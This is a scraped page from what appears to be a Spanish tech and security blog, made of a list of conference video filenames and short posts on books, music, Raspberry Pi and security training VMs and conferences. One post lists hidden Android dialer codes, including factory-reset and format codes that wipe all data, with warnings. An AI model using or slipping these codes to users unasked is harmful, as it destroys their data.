• Droids_that_talk_Pairing_Codec2_and_Android.mp4
• Free_and_open_source_software_and_activism.mp4
• Future_directions_for_the_X_Window_System.mp4
• Geeks_rule_over_kings_the_Distributed_Democracy.mp4
• Getting_older_Tips_tricks_for_designing_inclusive_open_source_user_interfaces.mp4
• Git_For_Ages_4_And_Up.mp4
• Git_not_just_for_source_code_anymore.mp4
• Graphics_from_Gamepads_Guitars_and_Gadgets_Galore.mp4
• Heat_Orchestrating_multiple_cloud_applications_on_OpenStack_using_templates.mp4
• How_Mozilla_draws_the_line_between_configuration_and_data_while_using_configuration_management_tools.mp4
• How_OSS_technology_to_help_UTSIT_to_build_a_virtualized_networking_lab.mp4
• How_to_Fix_a_Font.mp4
• How_to_make_almost_anything_go_faster.mp4
• How_to_use_Puppet_like_an_Adult.mp4
• Keynote_Andrew_Bunnie_Huang.mp4
• Keynote_Radia_Perlman.mp4
• LTTng_20_Advanced_Linux_tracing_for_everyone.mp4
• Lighting_up_OpenCV_with_Ne10_and_NEON.mp4
• Linux_Gaming_at_Last_Tuning_Open_Source_Graphics_Drivers_for_Valve_Software.mp4
• Linux_in_Defence.mp4
• Main_conference_opening.mp4
• Make_your_software_understand_your_nonUS_accent.mp4
• Making_Mobile_Communications_Secure.mp4
• Making_RCU_Respect_Your_Devices_Battery_Lifetime.mp4
• Making_UEFI_Secure_boot_work_for_you.mp4
• Maximum_Clojure_Performance.mp4
• Measuring_and_Improving_OpenGL_Performance.mp4
• MySQL_Security.mp4
• MySQL_in_the_cloud_as_a_service.mp4
• NetFPGA_USB_2_interface.mp4
• NovaProva_or_How_I_Did_Six_Impossible_Things_Before_LCA.mp4
• OWASP_Developer_Guide_2013_what_it_means_for_open_source_projects.mp4
• OpenStack_Zuul.mp4
• Open_Source_Digital_Radio.mp4
• Open_Source_Firmware.mp4
• Open_Source_and_Open_Data_for_Humanitarian_Response_with_OpenStreetMap.mp4
• Openstack_on_Openstack_a_single_management_API_for_all_your_servers.mp4
• Operating_in_an_Ephemeral_World.mp4
• Ops_from_bare_metal_to_cloud_space.mp4
• OzLabs.org_Administering_a_system_for_smart_people.mp4
• Panel_Where_in_the_stack_does_security_belong.mp4
• Playing_with_OpenStack_Swift.mp4
• Ponies_and_Rainbows_Clutter_20_and_GTK_40.mp4
• PostgreSQL_92_Full_Throttle_Database.mp4
• Pre_dinner_thingy_robert_llewellyn_and_simon_hackett.mp4
• Quantitative_community_management.mp4
• Qubes_OS.mp4
• Quiltwork_patch_deployment_in_nz_and_au.mp4
• RAID_is_more_than_parity_and_mirrors.mp4
• REPENT_FOR_THE_END_OF_THE_UNIX_EPOCH_IS_NIGH.mp4
• RealTime_Response_on_Multicore_Systems_It_Is_Bigger_Than_I_Thought.mp4
• Rethinking_CPU_hotplug_for_elegance_and_efficiency.mp4
• Ript_a_terse_but_expressive_DSL_for_iptables.mp4
• Ristretto_runtime_types_for_JavaScript.mp4
• Samba_4.0.mp4
• Scratching_your_own_itch_subsurface_diving_log.mp4
• Security_Miniconf_Afternoon.mp4
• Security_Miniconf_Morning.mp4
• Security_Models_Running_Amok.mp4
• Shell_for_Starters.mp4
• Software_Transactional_Memory_in_GCC_47.mp4
• Stereographic_film_making_and_Linux.mp4
• Systems_Administration_Server_and_Process_Behavior.mp4
• Syzix_heading_off_the_beaten_PATH.mp4
• Teaching_Robotics_and_Embedded_Computing_with_Legos_and_Arduino.mp4
• Teaching_the_X_server_new_tricks.mp4
• The_Finer_Art_of_Being_a_Senior_Sysadmin.mp4
• The_IPocalypse_20_months_later.mp4
• The_Perl_Renaissance.mp4
• The_Raspberry_Pi_and_Linux.mp4
• The_anatomy_of_a_high_speed_data_acquisition_system.mp4
• The_future_of_nonvolatile_memory.mp4
• The_real_story_behind_Wayland_and_X.mp4
• Theres_a_Party_In_Your_Box_And_Everyones_Invited.mp4
• Think_Create_Critique_Design.mp4
• Touch_and_Go_Modern_User_Interfaces_with_Open_Source.mp4
• Tracking_Vulnerable_JARs.mp4
• Transcendent_Memory_Not_Just_for_Virtualization_Anymore.mp4
• Trinity_A_Linux_kernel_fuzz_tester_and_then_some.mp4
• Trusted_Computing_and_Hadoop_HDFS.mp4
• Two_years_of_LibreOffice.mp4
• Two_years_with_Sambas_autobuild.mp4
• UEFI_the_Converged_Firmware_Infrastructure.mp4
• Using_Puppet_to_Model_Application_clusters.mp4
• Using_open_source_in_over_1100_schools_in_New_Zealand.mp4
• Vampire_Mice_How_USB_PM_impacts_you.mp4
• Why_kernel_space_sucks.mp4
• Wiggle_while_you_work.mp4
• Zombie_pancakes_rebooting_Flapjack.mp4
• Zuul.mp4
• aeolus.mp4
• asynchronous-block-storage-replication-mars-light.mp4
• gitannex.mp4
• grand-distributed-storage-debate-glusterfs-and-ceph-going-head-head.mp4
• jorn-and-rise-and-fall-clustering.mp4
• mariadb-galera-cluster.mp4
• mongodb-replication-replica-sets.mp4
• openstack-swift-overview.mp4
• ovirt.mp4
• redgrep_from_regular_expression_derivatives_to_LLVM.mp4
• tuesday_keynote_mikal_introduction.mp4
• users_delighted_better_UX_using_CSS_3_in_particular_and_HTML5_in_general.mp4
• vms-vlans-bridges-bonds-many-nics.mp4

Fuente

Documental TPB AFK: The Pirate Bay Away From …

Ya puedes ver al completo el documental TPB AFK: The Pirate Bay Away From Keyboard.

Puedes descargarlo desde aquí (es Creative Commons) o verlo al completo en este mismo post (desde Youtube). Tiene subtítulos en inglés.

Visto en Microsiervos.

Tutorial para dibujar Pixel Art

Tutorial en 10 pasos para crear gráficos retro al más puro estilo Pixel Art. Perfecto si estas pensado en hacer algún juego con este tipo de gráficos.

Web principal

Turing Machine, Lazy Afternoon of the Jaguar, para …

Desde luego el nombre del grupo mola ;) (y también su música).

Turing Machine

http://open.spotify.com/track/7Kwumnjxiu60CKa3SRtO3o

Códigos ocultos en teléfonos Android

El tema de los códigos ocultos en teléfonos móviles no es nada nuevo y son algo de los teléfonos inteligentes. Aún recuerdo cuando jugueteaba con los primeros Nokias que tuve.

La siguiente lista son códigos que se suponen funcionan en la mayoría de terminales con Android. Dependerá de la versión de Android que tengas y también del hardware (del terminal en sí).

• Número IMEI: *#06#
• Información sobre el teléfono: *#*#4636#*#*
• Resetea el teléfono como de fábrica (NO EJECUTES ESTA SI NO QUIERES RESETEAR EL TERMINAL): *#*#7780#*#*
• Formateo de fábrica (NO LO HAGAS SI NO QUIERES PERDER TODOS LOS DATOS): *2767*3855#
• Monitoriza los servicios de GTalk : *#*#8255#*#*
• Muestra la configuración de tu cámara: *#*#34971539#*#*
• Permite cambiar el menú de apagado : *#*#7594#*#*
• Hace una copia de tu teléfono: *#*#273283*255*663282*#*#*
• Pone el teléfono en modo servicio: *#*#197328640#*#*
• Test de WLAN (usa la tecla menú para los tests) : *#*#232339#*#* ó *#*#526#*#* ó *#*#528#*#*
• Muestra la dirección MAC de la red inalámbrica: *#*#232338#*#*
• Test del GPS: *#*#1472365#*#* ó *#*#1575#*#*
• Test del Bluetooth: *#*#232331#*#*
• Muestra la dirección del Bluetooth : *#*#232337#*#*
• Muestra la versión del PDA, teléfono, H/W, RF: *#*#4986*2650468#*#*
• Muestra la versión del PDA y teléfono: *#*#1234#*#*
• Muestra la versión de la pantalla táctil: *#*#2663#*#*
• Muestra la versión de la RAM: *#*#3264#*#*
• Muestra la versión del Software: *#*#1111#*#*
• Versión del hardware: *#*#2222#*#*
• Versión PDA, teléfono, CSC, etc : *#*#44336#*#*
• Packet Loopback: *#*#0283#*#*
• Test del LCD: *#*#0*#*#*
• Test de tonos: *#*#0673#*#* OR *#*#0289#*#*
• Test del vibrador y la retroiluminación: *#*#0842#*#*
• Test de la pantalla táctil: *#*#2664#*#*
• Test del sensor de proximidad: *#*#0588#*#*

Fuente

La sonda Kepler indica al SETI hacia donde debe …

SETI nunca había hecho una búsqueda tan concreta hasta ahora. En total se han escaneado 86 sistemas solares en busca de señales de radio. La información de estos sistemas solares (la mayoría están a más de 1.000 años luz)  ha sido suministrada por la sonda Kepler y han sido elegidos por tener potencialmente planetas habitables, sobre todo planetas rocosos , de un tamaño similar a la Tierra y que estén en la zona habitable del sistema.

Er docu der finde: El robo de la roca lunar

Pauldotcom Episodio 15

En este nuevo episodio del podcast de Pauldotcom en español, Carlos Pérez no entrevista a nadie, pero le da un repaso a las noticias de seguridad actuales, en este caso al revuelo de los problemas de seguridad en la ejecución de los applets de Java, Ruby on Rails, etc.

Puede descargarlo desde aquí

Microhistorias: Richard Stallman ya criticó en …

Todos conocemos a Richard Stallman. A algunos les puede parecer un tipo un poco radical con sus ideas y puedes estar más o menos de acuerdo con él, pero todos tenemos que admitir que es un genio y todo un personaje.

Stallman fundó el proyecto GNU, para crear un ordenador con un sistema operativo parecido a UNIX pero con software libre, también programó el GNU Emacs y el compilador GCC (y el depurador GDB) (Amén).

El extraño objeto con apariencia metálica …

Detalle del "objeto metálico"

Este objeto de 0,5 cm de altura es desde luego es bastante extraño. Lo más probable es que sea parte de un material natural de origen metálico (posiblemente de un meteorito) que estaba dentro de la roca y que con la erosión marciana está saliendo a la superficie.

Espectacular, otro "misterio" más que se suma a la roca en forma de pirámide y la flor de Marte.

Cómo los algoritmos cambiaron el mundo

An infographic by the team at College Degree Search

Entrevista a tuxotron y cybercaronte en La Rosa de …

Hemos tenido el gran honor de aparecer en uno de nuestro programas de culto “La Rosa de los Vientos”, en concreto en la sección de "El Buscador" de Martín Expósito.

Pasamos un buen rato charlando con él y haciendo la entrevista.

Aquí tienes un enlace de sólo la sección de El Buscador, minuto 5:25 empieza la entrevista:

Documentación original del lenguaje Lisp de John …

PDF completo con todo el "paper" original de John McCarthy, padre de la Inteligencia Artificial (IA), donde habla por primera vez sobre el lenguaje de programación Lisp.

Todo un documento para guardar y recordar como parte de la historia de la Informática.

Enlace del documento en PDF.

Si quieres libros gratuitos y más información sobre Lisp, visita:

http://www.lispmachine.net/

The Bewitched Hands, Ah!Ah!Ah!Ah!, Domingo por la …

The Betwitched Hands

Blog Libro Microhistorias

Acabamos de inaugurar el blog oficial del libro Microhistorias, anécdotas y curiosidades de la informática. Allí iremos añadiendo contenido adicional, como vídeos, fotos y otra documentación para complementar y expandir las historias del libro.

Manejando servicios con PowerShell

Windows

En la web de 4SysOps, han creado una serie de 5 artículos en los cuales nos explican cómo controlar, visualizar y manejar los servicios de Windows desde la consola PowerShell.

Puede que controlar los servicios desde una ventana de comandos como PowerShell te parezca muy complicado, pero en estos artículos nos muestran que no. La mayoría son comandos directos, sin utilizar ningún script (sí que usa pipes) , fáciles de entender.

Pugsy's Cheats, colección de trucos para tu …

Foto vista aquí.

En esta web encontrarás toda una gran colección de "cheats" (trucos o modificaciones)  para poder pasarte de una vez, ese juego infernal que desde tu juventud no te deja dormir por no haberlo acabado en tus años mozos cuando visitabas las salas recreativas.

Tiene un apartado especial para MAME pero puedes encontrar cheats para todo tipo de emuladores.

No solo te ofrece trucos y modificaciones para pasarte los juegos, también tiene una buena colección de guías sobre las instrucciones de varios microprocesadores utilizados en videoconsolas y máquinas recreativas.

La tabla periódica de Minecraft

Visto en HTG.

Er Docu der Finde, Criaturas de Star Wars

Como gestionar una batalla espacial de 3.000 …

En este artículo de Penny-Arcade se detalla un hecho que ocurrió hace poco en el que hasta 3000 jugadores del juego de rol masivo online EVE Online se vieron involucrados en una batalla épica. Los motivos de dicha batalla puedes leerlos en este enlace, pero  a nosotros nos interesa cómo se puede gestionar esa cantidad de usuarios online a la vez.

Richard Stallman mañana en Valencia

Más datos:

http://www.asolival.com/

El interior de un AT-AT

 

 

Click para ampliarlo

Visto en likecool.com

Box of stones, Benjamin Francis Leftwich, para …

Emotiva y bonita canción de Benjamin Francis Leftwich para este domingo por la mañana …

Libros varios para el fin de semana

Aquí tenéis una pequeña lista de libros que he ido recopilando durante las últimas semanas. No os olvidéis del de Microhistorias!! :)

• Book of speed
• MMURTL
• The Raspberry Pi Education Manual (PDF)
• Developing Backbone.js Applications
• The Lambda Calculus
• Free Datascience books
• Top 10 algorithms in data mining (PDF)
• OWASP Top 10 for .NET developers
• Two Scoops of Django: Best Practices for Django 1.5
• Open Government
• Dylan Programming Guide
• Raw Thought: The Weblog of Aaron Swartz
• UX Design for startups

Battlecode, la competición de programación del MIT

Al más puro estilo de lucha entre gladiadores, en un auditorio del MIT se instala un escenario que hará las veces de arena de lucha y alrededor se congrega una multitud de estudiantes jaleando a su equipo. Lo extraño es que no se enfrentan dos gladiadores humanos, lo hacen dos programas, dos IA. El campo de batalla es un terreno renderizado en 3D con dos pantallas a los lados donde se muestran las estadísticas de los dos bandos durante la contienda.

La balada de Bilbo Baggins (Bilbo Bolsón), por …

Qué mejor momento para recordar esta fantástica canción de Spock dedicada a Bilbo Bolsón, ahora que hace poco tiempo que se ha estrenado la película. Parece que Leonard Nimoy es un gran fan de la saga de El Señor de los Anillos y de El Hobbit.  Realmente este vídeo no es el videoclip de la canción, lo grabó cuando fue de invitado en el episodio número 28 de Malibu U. Así que Spock (decimos Spock porque en esa época estaba rodando Star Trek en concreto su segunda temporada y por eso tenía el look de Spock) se reunió con un grupo de chicas con orejas puntiagudas de plástico y grabó este fragmento para la posteridad, para bien o para mal, eso ya es gusto de cada uno (aunque sólo el hecho de dedicar una canción a Bilbo ya merece nuestra aprobación):

Esta es la letra de la canción:

Er docu der finde: Nikola Tesla El Hombre Que …

¿Está muriendo la consola de vídeojuegos?

Infographic Source: Visual.ly Photo Credit: DeclanTM via Compfight cc

Fuente

Macaulay Library: el mayor archivo de sonidos de …

Macaulay Library en colaboración con el Cornell Lab of Ornithology ha terminado con la digitalación del mayor archivo científico de audio y video de animales del mundo. La colección posee 150.000 sonidos y en ella están representadas alrededor de 9000 especies, con especial énfasis en los sonidos de pájaros, pero que también incluye ballenas, elefantes, ranas y primates entre otros. La tarea de digitalización ha llevado 12 años, contiene más de 10 TB de datos y un total de 7.500 h de grabación.

Kali, la nueva Backtrack

Backtrack no necesita presentación alguna, pero por si hay algún despistado, Backtrack es un sistema basado en Linux con cientos de utilidades orientadas a distintas facetas de la seguridad informática.

En la web oficial de Backtrack acaban de hacer un público una entrada en la que anuncian el futuro de este sistema. No habrá Backtrack 6, sino Kali. Así se llamará nueva Backtrack. En principio, desde el punto de vista del usuario, casi todo es lo mismo. Parece que el mayor de los cambios se han hecho/está haciendo en el entorno de desarrollo que emplean los que hacen posible este sistema, así como la creación de paquetes (debian) propios, repositorio, etc.

Vídeos de la World of Commodore 2012

Aquí tenéis algunos vídeos de la Commodore World 2012 celebrado en Ontario, Canadá el pasado mes de diciembre de 2012:

• M.U.L.E. Returns (Matt Brudzynski, Comma8 Studios)
• Ultimate Modded VIC-20 (Leif Bloomquist)
• RETRO Innovations (Jim Brain)
• Hello Amiga (Part 1/2)
• Hello Amiga (Part 2/2)
• MIDI in FastFingers (Dan Laskowski)
• Coding a Demo (Dan Kovacs)
• PETSynth 2.0 (Chiron Bramberger)

Los del Amiga y el de Coding a demo, no me los pierdo :)

Fuente

Programa de radio y podcast, Fallo de Sistema, …

A este podcast no le falta absolutamente de nada. Ciencia, Tecnología, Cómics, Ciencia Ficción, Videojuegos, etc, etc ... todo lo que te gusta si eres un geek como nosotros. El programa se emite en Radio3 los domingos por la mañana a las 12:00 pero siempre te lo puedes descargar desde la web. Nosotros somos bastante "geek-raritos" en nuestros post, pero estos chicos/chicas de Fallo de Sistema nos superan ;)

Ya disponible el libro "Microhistorias: anécdotas …

Parece que nunca llegaría pero por fin llegó ;), ya está disponible el libro que hemos escrito sobre un tema que realmente nos apasiona: las historias y anécdotas de la Informática.  Ha sido un proyecto que ha podido ver la luz gracias a Chema Alonso y a Informatica64, y por supuesto a todos vosotros que nos visitáis y nos animáis a seguir escribiendo cada día.

Hemos pasado muchas horas y muchos días disfrutando escribiéndolo, repasando Microhistorias que hemos publicado en el blog pero que hemos ampliado y añadido mucha más información. Pero hemos escrito también otras totalmente nuevas (realmente son la mayoría) inéditas en el blog. En total hemos escrito 50 Microhistorias con temas tan diversos como la relación Apple y Microsoft, Steve Jobs, Bill Gates, Alan Turing y por supuesto Enigma, Hacking y Hackers de todo tipo, etc. Pero mejor os ponemos este texto que explica bastante bien la esencia del libro:

El asteriode 2012 DA14 "rozará" La Tierra

El próximo día 15 de Febrero tendrá lugar un evento de especial interés para los astrónomos y el resto de aficionados a esta Ciencia. El asteriode 2012 DA14, detectado por primera vez por los astrónomos españoles del observatorio situado en La Sagra (Granada), pasará a una distancia de 27.000 km de La Tierra. Ésta es la mayor aproximación a la Tierra de un objeto de tamaño considerable que ha sido previamente detectado y es inferior a la distancia a la que orbitan algunos satélites artificiales. Los expertos califican esta distancia como con “posibilidades de impacto”, aunque supongo que serán leves.

Libros gratuitos sobre Javascript

Aquí os dejo una muy buena lista de libros gratuitos sobre Javascript:

• Dive into HTML 5
• Developing Backbone.js Applications
• Single page apps in depth
• Up and Running with Node.js
• Mixu's Node book
• Javascript Garden
• jQuery Fundamentals
• JS in ten minutes
• Building A JavaScript Framework
• Master Space and time with JavaScript - The Basics
• The little MongoDB book
• The little Book on CoffeeScript
• HTML Canvas Deep Dive
• Javascript Guide
• JavaScript For Cats
• Testing with CoffeeScript
• Dynamisez vos sites web avec JavaScript !
• The Past, Present, and Future of JavaScript
• Javascript Design Patterns
• Javascript Enlightenment
• Writing Modular JavaScript With AMD, CommonJS & ES Harmony
• Smooth CoffeeScript
• Node Beginner
• Eloquent Javascript
• Building Browser Apps with Google Chrome
• DOM Enlightenment
• Mastering NodeJS
• JS The Right Way
• Programmin Windows 8 Apps
• CoffeeScript Cookbook
• Single page apps in depth

Fuente

Domingo por la mañana, hoy dos canciones para que …

Mi pequeño mundo de papel

http://open.spotify.com/track/5uZxmd7o6KadxQpD2JmK0f

(Aquí si no tienes Spotify)

 

Pudu ¿Te llamas Tobías?

Genial artista que te hace soñar con su música, incluso antes de escucharla (sólo con el título de la canciones).

Más canciones aquí.

Blog oficial de Federico Durand.

LastFM Federico Durand

Historia de la tecnología de Microsoft

Fuente infográfico: Visual.ly. Fuente

Er docu der finde: Guerra por Control Remoto

Raspberry Pi, interactuando con GPIO desde la …

En esta nueva entrada vamos a hablar un poco del GPIO y como podemos interactuar con el hardware de nuestro dispositivo a través del sistema.

Como ya hemos comentado anteriormente, el sistema elegido por los ingenieros que crearon Raspberry Pi fue Linux. Inicialmente la “distribución por defecto” era simple y llanamente Debian Wheezy. Digo por defecto porque era la recomendada por la fundación Raspberry Pi, no porque viniera con el dispositivo. De hecho el dispositivo, a menos que compres algún tipo de “pack”, viene pelado, es decir, no viene con ningún tipo de cable, carcasa o tarjeta de memoria.

Desensamblador online

Alguna vez podríamos vernos en la situación de tener que analizar y/o desensamblar un fichero binario. Idealmente tendríamos nuestro equipo con nosotros y todas las herramientas que necesitamos para analizar dicho fichero, pero como la mayoría de nosotros creemos en Murphy, siempre es bueno el tener un plan B.

Incluso teniendo nuestro equipo, puede ser que el binario con el nos tenemos que enfrentar sea de una arquitectura distinta a las que reconoce nuestro desensamblador. Así tener acceso a un desensamblador online no sería ninguna mala idea.

La desgracia de ser "EL" informático

Fuente

Raspberry Pi, un poco de hardware

En esta entrada vamos a dar un pequeño repaso al hardware que incorpora nuestro querido Raspberry Pi.

Lo primero decir que, como mucho ya sabréis, el tamaño importa es el de una tarjeta de crédito. Este fue una de las mayores dificultades que los ingenieros tuvieron que afrontar cuando trabajaban en el diseño del dispositivo. Por lo visto tuvieron problemas bastante serios porque no encontraban la forma de colocar todos los componentes de la placa e interconectarlos.

Pauldotcom Episodio 14

Nuevo podcast de Paultdotcom en español. El primero del año 2013 ya está disponible con entrevista realizada por Carlos Perez a Ryan Dewhurst, creador de WPScan.

Puedes descargarlo desde aquí

Microhistorias: Apple, Alexander y KDE

En el vídeo que presentó Steve Jobs en la Macworld de 1997 en Boston, Steve Jobs anunció un acuerdo con Microsoft sobre el uso de patentes entre ambas compañías, el acuerdo que llegó con Microsoft para que este portara Microsoft Office a Mac y la decisión que tomó Apple de incorporar a su sistema operativo a Internet Explorer como navegador por defecto, cosa que por cierto no gustó al público.

Raspberry Pi, un poco de historia

En ocasiones anteriores hemos hablado sobre Raspberry Pi, un ordenador del tamaño de una tarjeta de crédito totalmente funcional y muy barato. En esta entrada vamos a ver un poco de historia sobre los inicios de este dispositivo.

Inicialmente la idea de la creación de Raspberry Pi era muy incierta. La reputación de los diseñadores, no conocidos, y los precios que tenían en mente apuntaba a que las ilusiones del proyecto se desvanecerían.

Domingo por la mañana, Holy Fuck, Lovely Allen

Alucinante, sube el volumen y disfruta.

http://open.spotify.com/track/644XCMrp3SEoJgvbY9kuHt

Holy Fuck

Wikipedia

Material de la THREADS 2012

Dan Guido

THREADS es una pequeña conferencia sobre seguridad organizada por Dan Guido y Dino Dai Zovi (dos de los fundadores de trailofbits.com) con la ayuda de estudiantes de ciber seguridad.

Esta conferencia se enfoca en la presentación de investigaciones académicas e industrial en el ámbito de la seguridad informática y las redes.

En la pasada THREADS 2012 se dieron las siguientes charlas:

	Opening Remarks [video]
	Executive Overview: NYU-Poly & Mobile Security [video] [slides]
	iOS Jailbreak Analysis [video] [slides]
	Mobile Exploit Intelligence Project [video] [slides]
	Probing Mobile Operator Networks [video] [slides]
	A Tale of Mobile Threats [video] [slides]
	Analysis of the Google Native Client Sandbox [paper] [slides]
	Mobile Vulnerability Assessment: There's an App for That [website] [blog]

Er docu der finde: Hackers del espacio

¿Cuánto tiempo se tarda en crear una aplicación …

How long does it take to make a mobile app?

From: Kinvey Backend as a Service

Fuente

LAMPSecurity Training

LAMPSecurity Training es un sistema diseñado con ciertas vulnerabilidades, cuyo objetivo es el de educar/enseñar/aprender seguridad en aplicaciones web.

Viene en forma de máquina virtual (742.6 Mb) que puedes ejecutar desde VMWare player o VirtualBox entre otros. En la web del proyecto también podemos encontrar un fichero PDF con 43 páginas, dónde nos explican como debemos lanzar la imagen, además de cómo usar ciertas herramientas como Nikto, W3af o Zap. También hay un apartado sobre explotación o el crackeo de passwords. Al final en el apéndice comentan las distintas vulnerabilidades que podemos encontrar en el sistema. En el documento se asume que usas Backtrack 5 R3. Supongo que si dispones de un sistema con las herramientas que se usan también valdría.

The Art Of Creative Coding

Si este vídeo no te motiva a programar …

Está en inglés pero recuerda que puedes activar los subtítulos.

Visto en Microsiervos.

Despliega tu aplicación web vulnerable en la nube

Cada vez vamos moviéndonos más hacia la nube nos guste o no. Como todo en la vida, tiene sus pros y sus contras.

En esta ocasión os vamos a hablar de una plataforma llamada hack.me, que nos permite desplegar nuestras aplicaciones web vulnerables. La idea es crear una aplicación web con ciertas vulnerabilidades, subirlas al servidor y hacerlas públicas o no.

Desarrollando aplicaciones vulnerables te ayudará a entender mejor dichas vulnerabilidades, por lo que al mismo tiempo te ayudará a comprender como evitar dichas vulnerabilidades y por lo tanto a escribir código seguro. Otra de las aplicaciones que vienen como anillo al dedo es para la enseñanza. Si enseñas alguna clase relacionada con el tema, siempre puedes crear tu propia aplicación, subirla a esta plataforma y usarla como herramienta para tus estudiantes.

Cómo obtener imágenes de la Tierra vía satélite …

Videotutorial que nos muestra cómo obtener imágenes tomadas directamente desde las señales enviadas por varios satélites, en concreto por satélites meterológicos, todo por menos de 50 dólares (unos 38€).

Estos son los componentes:

El hardware principal que utiliza es un sintonizador de TV USB con el chipset rtl2832u (parece que hay muchos por el mercado, aquí tienes uno de ejemplo).

Glycerine, Bush. Domingo por la mañana

Me acordé de esta fantástica canción del grupo Bush (aquí tienes una versión con la letra traducida) viendo un capítulo de los Simpsons (s19x11) donde Homer forma un grupo de música llamado “Sadgasm” (tipo Nirvana) y canta una canción llamada “Margarine”:

Genial, casi me gusta más la de Homer ;)

Er docu der finde: Maravillas modernas, Top 10

Aliens: Colonial Marines

Tiene buena pinta, se parece a Dead Space pero en el universo de Alien.

Disponible a mediados de Febrero de este nuevo año 2013.

Hacker Épico, un libro que no te puedes perder

Vamos a empezar al año hablando de un libro escrito por nuestros amigos Alejandro Ramos y Rodrigo Yepes, aunque realmente son dos libros en uno. Imagina una historia llena de suspense y acción y luego mézclala con un completo manual de hacking y seguridad informática. Esto es en definitiva el libro Hacker Épico. Una historia que te engancha desde el primer momento (no voy a hablar mucho de ella para evitar spoilers) donde un hacker, auditor de una empresa de seguridad informática tiene que enfrentarse a una peligrosa historia usando lo que mejor sabe utilizar: la seguridad informática.

Libros gratuitos del tío de la moto

Guy Kawasaki con motivo de la entrada de un nuevo año, ha decidido poner a disposición de todos 4 de sus libros:

• What the plus+ (PDF)
• The Macintosh Way PDF - Mobi
• Database 101 (PDF)
• The computer curmudgeon (PDF)

¡Feliz 2013!

Se nos presenta un año duro pero lleno de nuevos proyectos y desafíos.

Desde CyberHades queremos dar las gracias a todos los amigos y amigas que nos siguen y desearos un:

Feliz 2013

Vídeos de las charlas del 29C3 con …

Ya están disponibles los vídeos de las charlas de la que para mi, es la mejor conferencia sobre seguridad/hacking del mundo. El Chaos Communication Congress ha celebrado este pasado fin de semana su conferencia número 29. Ésta se celebró por primera vez fuera de Berlín, en Hamburgo.

Este año la conferencia llevaba por título: Not my department. El motivo del mismo es hacer una crítica y un llamamiento a la responsabilidad. El origen de Not my department, realmente viene de la letra de una canción (Wernher Von Braun) escrita por Tom Lehrer. La canción dice:

Aeons, Final Days Society, nuestra última canción …

A partir del minuto 7:00 de la canción en adelante, espectacular, perfecto final musical para el 2012 …

¡Feliz 2013!

Aeons

HoneyDrive Desktop

HoneyDrive Desktop es una máquina virtual con varias aplicaciones preparadas que nos permite de una forma sencilla y rápida correr nuestro propio honeypot.

Corre con Xubuntu Desktop 12.04 32 bits y contiene entre otras, las siguientes aplicaciones:

• Servidor LAMP con phpMyAdmin
• Kippo SSH, Kippo-Graph y Kippo2MySQL
• Dionaea Malware + phpLiteAdmin
• Honeyd + Honeyd2MySQL y Honeyd-Viz
• LaBrea, Tiny Honeypot, IIS Emulator, INetSim y SimH
• Varias utilidades para el análisis de malware, PDFs, etc

La imagen ocupa 2.7 Gb y la puedes descargar desde aquí. Para instalarlo sólo tienes que importar el fichero dentro de tu programa favorito de virtualización. Recomendado Virtual Box.

Hemos encontrado el gorro del Maligno!

Ufff! que susto esta mañana cuando leí la entrada en su blog y vi que había perdido el gorro.

Menos mal que en al Asegur@IT Camp 4, después de hacerle un APT Hasselhoff conseguimos desconcentrarlo un poco y le pusimos un chip localizador en el gorro. Así que después de leer la entrada esta mañana proseguimos a su búsqueda. Al final lo encontramos en una tienda Apple. Le preguntamos a uno de los chicos de la tienda y nos dijo que el dueño del gorro va allí cada año para rezar y dar a gracias a Dios por crear la manzana al principio de los tiempos. Según el empleado de Apple dice que Chema pertenece a la iglesia de Apple.

Er docu der finde: Cómo nos influyen los …

Este es el sonido ambiente de la ISS, Estación …

[soundcloud url=“http://api.soundcloud.com/tracks/72595157” width=“100%” height=“166” iframe=“true” /]

 

No es precisamente un mar de tranquilidad …

De todas formas parece que a los astronautas les gusta, dicen que les mantiene vivos.

En concreto este es el ruido que hay en módulo del laboratorio los EEUU.

Visto en io9.

Libros gratuitos sobre Datascience y Machine …

Foto: http://www.gpcworks.com/blog.html

Datascience se encarga del análisis de información usando técnicas y teorías en muchos campos como las matemáticas, la estadística, reconocimiento de patrones, visualización, etc, con el objetivo final de obtener datos.

Machine Learning es un término asociado a la Inteligencia Artificial que trata sobre el estudio de sistemas que pueden aprender a partir del análisis de los datos que reciben.

En estos enlaces encontrarás libros gratuitos que tratan sobre estas dos interesantes materias:

Material de la hashday 2012

Hashdays es otra de las muchas conferencias sobre seguridad que se celebran alrededor del mundo. Ésta se celebró entre el 31 de octbre y el 3 de noviembre en Suiza. Esta es la lista del material que se ha liberado hasta el momento:

Openning Slide Keynote Video Tactical Surveillance: Look at me now! Slide Video Please insert^H inject more coins Slide Video IPv6 Insecurity Revolutions Slide Video Guns and Smoke to Defeat Mobile Malware Slide Video Selfdefending Databases Slide Video SHA-3 Slide Video Things one wants from a Heap Visualization Tool Slide Video The Security (or Insecurity) of 3rd Party iOS Applications Slide Video Ghost is in the Air(Traffic) Video Satellite Hacking: An Introduction Slide Video Reboot, Reconstruct, Revolt: Transitioning to a Modern Approach to Risk Management Slide Video Firewall Rule Reviews - Methodologies and Possibilities Slide Video Breaking SAP Portal Slide Video A review of the virtual world, cloud and a new sphere in the hacking paradigm Slide Video Binary art: Byteing the PE that fails you Slide Slides Extended Video Adding temporal component to memory forensics Video Physical Drive-By Downloads Video NIDS/NIPS Testing Slide Video NFC: I don't think it means what you think it means Slide Video Dissecting the Induc Virus Slide Video Why your intrusion detection system sucks and what to do about it Slide Video Data Correlation - Why keep this valuable information in a corner Slide Video So, the red team was here and tore us a new one. NOW WHAT? Slides Video Holistic Server Security Slides Video Secure Session Data Storage Slides Video Crowd-sourced Radiation Monitoring Slides Closing ceremony Slides Video

Curso de programación iOS para principiantes

Como la mayoría ya sabéis, iOS es el sistema operativo que usa Apple en sus dispositivos móviles como iPhone o iPad. Aunque yo soy usuario de Android y no de iOS, si que puedo decir es que si quieres ganar dinero con tus aplicaciones el mercado de Apple es más goloso. Como dicen los de manzanas traigo del fantástico podcast de Dabo, Android es para pobres ;) (Yo soy de los de Kernel Panic).

Universidad XDA

Si eres usuario de Android y alguna vez te has querido “rootear” tu dispositivo, instalar una rom no oficial o cualquier otro tipo de hack, seguro que has acabado en los foros de XDA Developers.

XDA Developers son unos foros sobre “cualquier cosa Android”. Allí podrás encontrar todo tipo de información respecto a sistemas Android. Podríamos decir que son los foros de referencia sobre Android a día de hoy.

Un juego de mesa perfecto para hackers

Si tienes que comprarle un regalo de reyes a tu hacker, [d0x3d!] es el regalo perefecto.

